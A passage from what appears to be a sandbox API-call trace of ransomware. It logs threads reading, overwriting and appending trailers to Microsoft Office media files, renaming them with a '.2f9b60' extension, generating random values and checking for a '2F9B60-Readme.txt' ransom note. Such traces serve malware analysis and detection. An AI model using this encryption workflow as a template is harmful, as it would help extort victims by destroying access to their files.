(in: Seed=0x284ef850 | out: Seed=0x284ef850) returned 0x601a69eb [0135.903] RtlRandomEx (in: Seed=0x284ef850 | out: Seed=0x284ef850) returned 0x1a7ee237 [0135.903] RtlRandomEx (in: Seed=0x284ef850 | out: Seed=0x284ef850) returned 0x64083147 [0135.914] ReadFile (in: hFile=0x1cdc, lpBuffer=0x203abd40, nNumberOfBytesToRead=0x3372, lpNumberOfBytesRead=0x284ef850, lpOverlapped=0x0 | out: lpBuffer=0x203abd40*, lpNumberOfBytesRead=0x284ef850*=0x3372, lpOverlapped=0x0) returned 1 [0135.960] SetFilePointerEx (in: hFile=0x1cdc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.960] WriteFile (in: hFile=0x1cdc, lpBuffer=0x203af950*, nNumberOfBytesToWrite=0x3372, lpNumberOfBytesWritten=0x284ef854, lpOverlapped=0x0 | out: lpBuffer=0x203af950*, lpNumberOfBytesWritten=0x284ef854*=0x3372, lpOverlapped=0x0) returned 1 [0142.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff460 [0142.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff490 [0142.458] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff490) returned 1 [0142.458] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203af950) returned 1 [0142.459] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203abd40) returned 1 [0142.459] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee10) returned 1 [0142.459] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b70) returned 1 [0142.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x204ff490 [0142.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b70 [0142.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ee10 [0142.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff4c0 [0142.459] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff4c0) returned 1 [0142.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x204ff4c0 [0142.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff4f0 [0142.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff520 [0142.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff520) returned 1 [0142.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee10) returned 1 [0142.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b70) returned 1 [0142.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x166ce0 [0142.461] SetFilePointerEx (in: hFile=0x1cdc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0142.461] WriteFile (in: hFile=0x1cdc, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x284ef970, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x284ef970*=0x10a, lpOverlapped=0x0) returned 1 [0143.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d00 [0143.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59bb0 [0143.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261850 [0143.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261850) returned 1 [0143.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0143.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261850 [0143.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261b20 [0143.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261b20) returned 1 [0143.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59bb0) returned 1 [0143.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0143.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7aa120 [0143.426] sprintf (in: _Dest=0x1b7aa120, _Format="%c%c" | out: _Dest="d7") returned 2 [0143.426] sprintf (in: _Dest=0x1b7aa122, _Format="%c%c" | out: _Dest="9a") returned 2 [0143.426] sprintf (in: _Dest=0x1b7aa124, _Format="%c%c" | out: _Dest="9c") returned 2 [0143.426] sprintf (in: _Dest=0x1b7aa126, _Format="%c%c" | out: _Dest="39") returned 2 [0143.426] sprintf (in: _Dest=0x1b7aa128, _Format="%c%c" | out: _Dest="d8") returned 2 [0143.426] sprintf (in: _Dest=0x1b7aa12a, _Format="%c%c" | out: _Dest="ea") returned 2 [0143.426] sprintf (in: _Dest=0x1b7aa12c, _Format="%c%c" | out: _Dest="e2") returned 2 [0143.426] sprintf (in: _Dest=0x1b7aa12e, _Format="%c%c" | out: _Dest="bc") returned 2 [0143.426] sprintf (in: _Dest=0x1b7aa130, _Format="%c%c" | out: _Dest="18") returned 2 [0143.426] sprintf (in: _Dest=0x1b7aa132, _Format="%c%c" | out: _Dest="70") returned 2 [0143.426] sprintf (in: _Dest=0x1b7aa134, _Format="%c%c" | out: _Dest="04") returned 2 [0143.426] sprintf (in: _Dest=0x1b7aa136, _Format="%c%c" | out: _Dest="db") returned 2 [0143.426] sprintf (in: _Dest=0x1b7aa138, _Format="%c%c" | out: _Dest="47") returned 2 [0143.426] sprintf (in: _Dest=0x1b7aa13a, _Format="%c%c" | out: _Dest="32") returned 2 [0143.426] sprintf (in: _Dest=0x1b7aa13c, _Format="%c%c" | out: _Dest="e5") returned 2 [0143.426] sprintf (in: _Dest=0x1b7aa13e, _Format="%c%c" | out: _Dest="2e") returned 2 [0143.426] sprintf (in: _Dest=0x1b7aa140, _Format="%c%c" | out: _Dest="c1") returned 2 [0143.426] sprintf (in: _Dest=0x1b7aa142, _Format="%c%c" | out: _Dest="ce") returned 2 [0143.426] sprintf (in: _Dest=0x1b7aa144, _Format="%c%c" | out: _Dest="ad") returned 2 [0143.426] sprintf (in: _Dest=0x1b7aa146, _Format="%c%c" | out: _Dest="f3") returned 2 [0143.427] sprintf (in: _Dest=0x1b7aa148, _Format="%c%c" | out: _Dest="16") returned 2 [0143.427] sprintf (in: _Dest=0x1b7aa14a, _Format="%c%c" | out: _Dest="70") returned 2 [0143.427] sprintf (in: _Dest=0x1b7aa14c, _Format="%c%c" | out: _Dest="ec") returned 2 [0143.427] sprintf (in: _Dest=0x1b7aa14e, _Format="%c%c" | out: _Dest="f9") returned 2 [0143.427] RtlInitAnsiString (in: DestinationString=0x284ef9e8, SourceString="d79a9c39d8eae2bc187004db4732e52ec1ceadf31670ecf9" | out: DestinationString="d79a9c39d8eae2bc187004db4732e52ec1ceadf31670ecf9") [0143.427] RtlAnsiStringToUnicodeString (in: DestinationString=0x284ef9b8, SourceString="d79a9c39d8eae2bc187004db4732e52ec1ceadf31670ecf9", AllocateDestinationString=1 | out: DestinationString="d79a9c39d8eae2bc187004db4732e52ec1ceadf31670ecf9") returned 0x0 [0143.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86e560 [0143.427] RtlFreeAnsiString (AnsiString="d") [0143.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa120) returned 1 [0143.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0143.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261850) returned 1 [0143.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166ce0) returned 1 [0143.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff4c0) returned 1 [0143.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff4f0) returned 1 [0143.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff490) returned 1 [0143.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff460) returned 1 [0143.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202678c0) returned 1 [0143.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202636b0) returned 1 [0143.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262090) returned 1 [0143.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x20507cd0 [0143.429] wcscat (in: _Dest=0x20507cd0, _Source="d79a9c39d8ea" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\d79a9c39d8ea") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\d79a9c39d8ea" [0143.429] wcscat (in: _Dest=0x20507cd0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\d79a9c39d8ea.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\d79a9c39d8ea.2f9b60" [0143.429] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\d79a9c39d8ea.2f9b60", NtPathName=0x284ef990, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\d79a9c39d8ea.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0143.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050c2f0 [0143.429] NtSetInformationFile (FileHandle=0x1cdc, IoStatusBlock=0x284efa30, FileInformation=0x2050c2f0, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0146.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c2f0) returned 1 [0146.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47780) returned 1 [0146.798] NtQueryInformationFile (in: FileHandle=0x1cdc, IoStatusBlock=0x284ef9f8, FileInformation=0x284efa08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x284ef9f8, FileInformation=0x284efa08) returned 0x0 [0146.798] NtSetInformationFile (FileHandle=0x1cdc, IoStatusBlock=0x284ef9f8, FileInformation=0x284efa08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0146.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507cd0) returned 1 [0146.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e560) returned 1 [0146.804] FlushFileBuffers (hFile=0x1cdc) returned 1 [0146.807] CloseHandle (hObject=0x1cdc) returned 1 [0146.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86b9d0 [0146.809] wcscpy (in: _Dest=0x1b86b9d0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0146.809] wcscat (in: _Dest=0x1b86b9d0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0146.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0146.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b9d0) returned 1 [0146.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b670) returned 1 Thread: id = 1778 os_tid = 0x5bc [0132.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0315447.jpg")) returned 0x20 [0133.070] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG", dwFileAttributes=0x20) returned 1 [0134.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0315447.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e1c [0137.358] GetFileSizeEx (in: hFile=0x1e1c, lpFileSize=0x2856f7a0 | out: lpFileSize=0x2856f7a0*=24804) returned 1 [0137.358] SetFilePointerEx (in: hFile=0x1e1c, liDistanceToMove=0x60e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.358] ReadFile (in: hFile=0x1e1c, lpBuffer=0x2856f720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2856f768, lpOverlapped=0x0 | out: lpBuffer=0x2856f720*, lpNumberOfBytesRead=0x2856f768*=0x4, lpOverlapped=0x0) returned 1 [0137.416] SetFilePointerEx (in: hFile=0x1e1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a0e0 [0137.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a320 [0137.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a530 [0137.417] NtQuerySystemTime (in: CurrentTime=0x2856f660 | out: CurrentTime=0x2856f660*=132462177426538000) returned 0x0 [0137.417] RtlRandomEx (in: Seed=0x2856f650 | out: Seed=0x2856f650) returned 0x48c0814 [0137.417] RtlRandomEx (in: Seed=0x2856f650 | out: Seed=0x2856f650) returned 0x1648d2e6 [0137.417] RtlRandomEx (in: Seed=0x2856f650 | out: Seed=0x2856f650) returned 0xd25ce54 [0137.417] RtlRandomEx (in: Seed=0x2856f650 | out: Seed=0x2856f650) returned 0x2ab5fc74 [0137.417] RtlRandomEx (in: Seed=0x2856f650 | out: Seed=0x2856f650) returned 0x3d6afec8 [0137.417] RtlRandomEx (in: Seed=0x2856f650 | out: Seed=0x2856f650) returned 0x239fd464 [0137.417] RtlRandomEx (in: Seed=0x2856f650 | out: Seed=0x2856f650) returned 0x93a4678 [0137.417] RtlRandomEx (in: Seed=0x2856f650 | out: Seed=0x2856f650) returned 0x413fd201 [0137.417] RtlRandomEx (in: Seed=0x2856f650 | out: Seed=0x2856f650) returned 0x3b78800e [0137.417] RtlRandomEx (in: Seed=0x2856f650 | out: Seed=0x2856f650) returned 0x6885c3fb [0137.417] RtlRandomEx (in: Seed=0x2856f650 | out: Seed=0x2856f650) returned 0x78b56022 [0137.417] RtlRandomEx (in: Seed=0x2856f650 | out: Seed=0x2856f650) returned 0xb1dcb52 [0137.417] RtlRandomEx (in: Seed=0x2856f650 | out: Seed=0x2856f650) returned 0x18648319 [0137.417] RtlRandomEx (in: Seed=0x2856f650 | out: Seed=0x2856f650) returned 0x644cc4bc [0137.417] RtlRandomEx (in: Seed=0x2856f650 | out: Seed=0x2856f650) returned 0x1955e497 [0137.417] RtlRandomEx (in: Seed=0x2856f650 | out: Seed=0x2856f650) returned 0x2dc133f3 [0137.417] RtlRandomEx (in: Seed=0x2856f650 | out: Seed=0x2856f650) returned 0x31a74381 [0137.417] RtlRandomEx (in: Seed=0x2856f650 | out: Seed=0x2856f650) returned 0x4077ffc2 [0137.417] RtlRandomEx (in: Seed=0x2856f650 | out: Seed=0x2856f650) returned 0x7935ea62 [0137.417] RtlRandomEx (in: Seed=0x2856f650 | out: Seed=0x2856f650) returned 0x2eda6e86 [0137.417] RtlRandomEx (in: Seed=0x2856f650 | out: Seed=0x2856f650) returned 0x62b03c01 [0137.417] RtlRandomEx (in: Seed=0x2856f650 | out: Seed=0x2856f650) returned 0x7fa32758 [0137.417] RtlRandomEx (in: Seed=0x2856f650 | out: Seed=0x2856f650) returned 0x211f41bf [0137.417] RtlRandomEx (in: Seed=0x2856f650 | out: Seed=0x2856f650) returned 0x3e30f460 [0137.417] RtlRandomEx (in: Seed=0x2856f650 | out: Seed=0x2856f650) returned 0xf9bc7a4 [0137.417] RtlRandomEx (in: Seed=0x2856f650 | out: Seed=0x2856f650) returned 0x48bd51fc [0137.417] RtlRandomEx (in: Seed=0x2856f650 | out: Seed=0x2856f650) returned 0x43a484e9 [0137.417] RtlRandomEx (in: Seed=0x2856f650 | out: Seed=0x2856f650) returned 0x34c081fa [0137.417] RtlRandomEx (in: Seed=0x2856f650 | out: Seed=0x2856f650) returned 0x4c73e60a [0137.418] RtlRandomEx (in: Seed=0x2856f650 | out: Seed=0x2856f650) returned 0x3ad1cc30 [0137.418] RtlRandomEx (in: Seed=0x2856f650 | out: Seed=0x2856f650) returned 0x18276d55 [0137.418] RtlRandomEx (in: Seed=0x2856f650 | out: Seed=0x2856f650) returned 0x45c52b71 [0137.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a410 [0137.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420608b0 [0137.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a500 [0137.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420608b0) returned 1 [0137.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a530) returned 1 [0137.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a0e0) returned 1 [0137.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2030a0b0 [0137.426] SetFilePointerEx (in: hFile=0x1e1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.426] ReadFile (in: hFile=0x1e1c, lpBuffer=0x2030a0b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2856f6c0, lpOverlapped=0x0 | out: lpBuffer=0x2030a0b0*, lpNumberOfBytesRead=0x2856f6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0137.441] SetFilePointerEx (in: hFile=0x1e1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0137.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420608b0 [0137.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5c0 [0137.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5c0) returned 1 [0137.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203118d0 [0137.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5c0 [0137.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a620 [0137.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a620) returned 1 [0137.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420608b0) returned 1 [0137.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0137.442] WriteFile (in: hFile=0x1e1c, lpBuffer=0x203118d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2856f6c0, lpOverlapped=0x0 | out: lpBuffer=0x203118d0*, lpNumberOfBytesWritten=0x2856f6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0137.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203118d0) returned 1 [0137.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2030a0b0) returned 1 [0137.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x2050e740 [0137.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c10 [0137.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0137.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050eef0 [0137.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050eef0) returned 1 [0137.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x2050eef0 [0137.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ded0 [0137.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e7a0 [0137.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e7a0) returned 1 [0137.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0137.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0137.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1674c0 [0137.501] SetFilePointerEx (in: hFile=0x1e1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0137.501] WriteFile (in: hFile=0x1e1c, lpBuffer=0x1674c0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2856f770, lpOverlapped=0x0 | out: lpBuffer=0x1674c0*, lpNumberOfBytesWritten=0x2856f770*=0x10a, lpOverlapped=0x0) returned 1 [0137.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1674c0) returned 1 [0137.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050eef0) returned 1 [0137.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ded0) returned 1 [0137.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e740) returned 1 [0137.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5c0) returned 1 [0137.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a320) returned 1 [0137.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a410) returned 1 [0137.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a500) returned 1 [0137.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x4205c470 [0137.507] wcscpy (in: _Dest=0x4205c470, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG" [0137.507] wcscat (in: _Dest=0x4205c470, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG.2f9b60" [0137.507] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG.2f9b60", NtPathName=0x2856f790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0137.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050ba00 [0137.507] NtSetInformationFile (FileHandle=0x1e1c, IoStatusBlock=0x2856f830, FileInformation=0x2050ba00, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0146.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ba00) returned 1 [0146.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500a40) returned 1 [0146.849] NtQueryInformationFile (in: FileHandle=0x1e1c, IoStatusBlock=0x2856f7f8, FileInformation=0x2856f808, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2856f7f8, FileInformation=0x2856f808) returned 0x0 [0146.849] NtSetInformationFile (FileHandle=0x1e1c, IoStatusBlock=0x2856f7f8, FileInformation=0x2856f808, Length=0x28, FileInformationClass=0x4) returned 0x0 [0147.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c470) returned 1 [0147.006] FlushFileBuffers (hFile=0x1e1c) returned 1 [0147.044] CloseHandle (hObject=0x1e1c) returned 1 [0147.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86b3a0 [0147.098] wcscpy (in: _Dest=0x1b86b3a0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0147.098] wcscat (in: _Dest=0x1b86b3a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0147.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0147.098] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b3a0) returned 1 [0147.098] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b700) returned 1 Thread: id = 1779 os_tid = 0x17d0 [0132.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332268.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332268.wmf")) returned 0x20 [0133.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332268.WMF", dwFileAttributes=0x20) returned 1 [0134.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332268.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332268.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e14 [0137.299] GetFileSizeEx (in: hFile=0x1e14, lpFileSize=0x2870fe20 | out: lpFileSize=0x2870fe20*=20840) returned 1 [0137.299] SetFilePointerEx (in: hFile=0x1e14, liDistanceToMove=0x5164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.299] ReadFile (in: hFile=0x1e14, lpBuffer=0x2870fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2870fde8, lpOverlapped=0x0 | out: lpBuffer=0x2870fda0*, lpNumberOfBytesRead=0x2870fde8*=0x4, lpOverlapped=0x0) returned 1 [0137.320] SetFilePointerEx (in: hFile=0x1e14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a170 [0137.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a680 [0137.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5f0 [0137.320] NtQuerySystemTime (in: CurrentTime=0x2870fce0 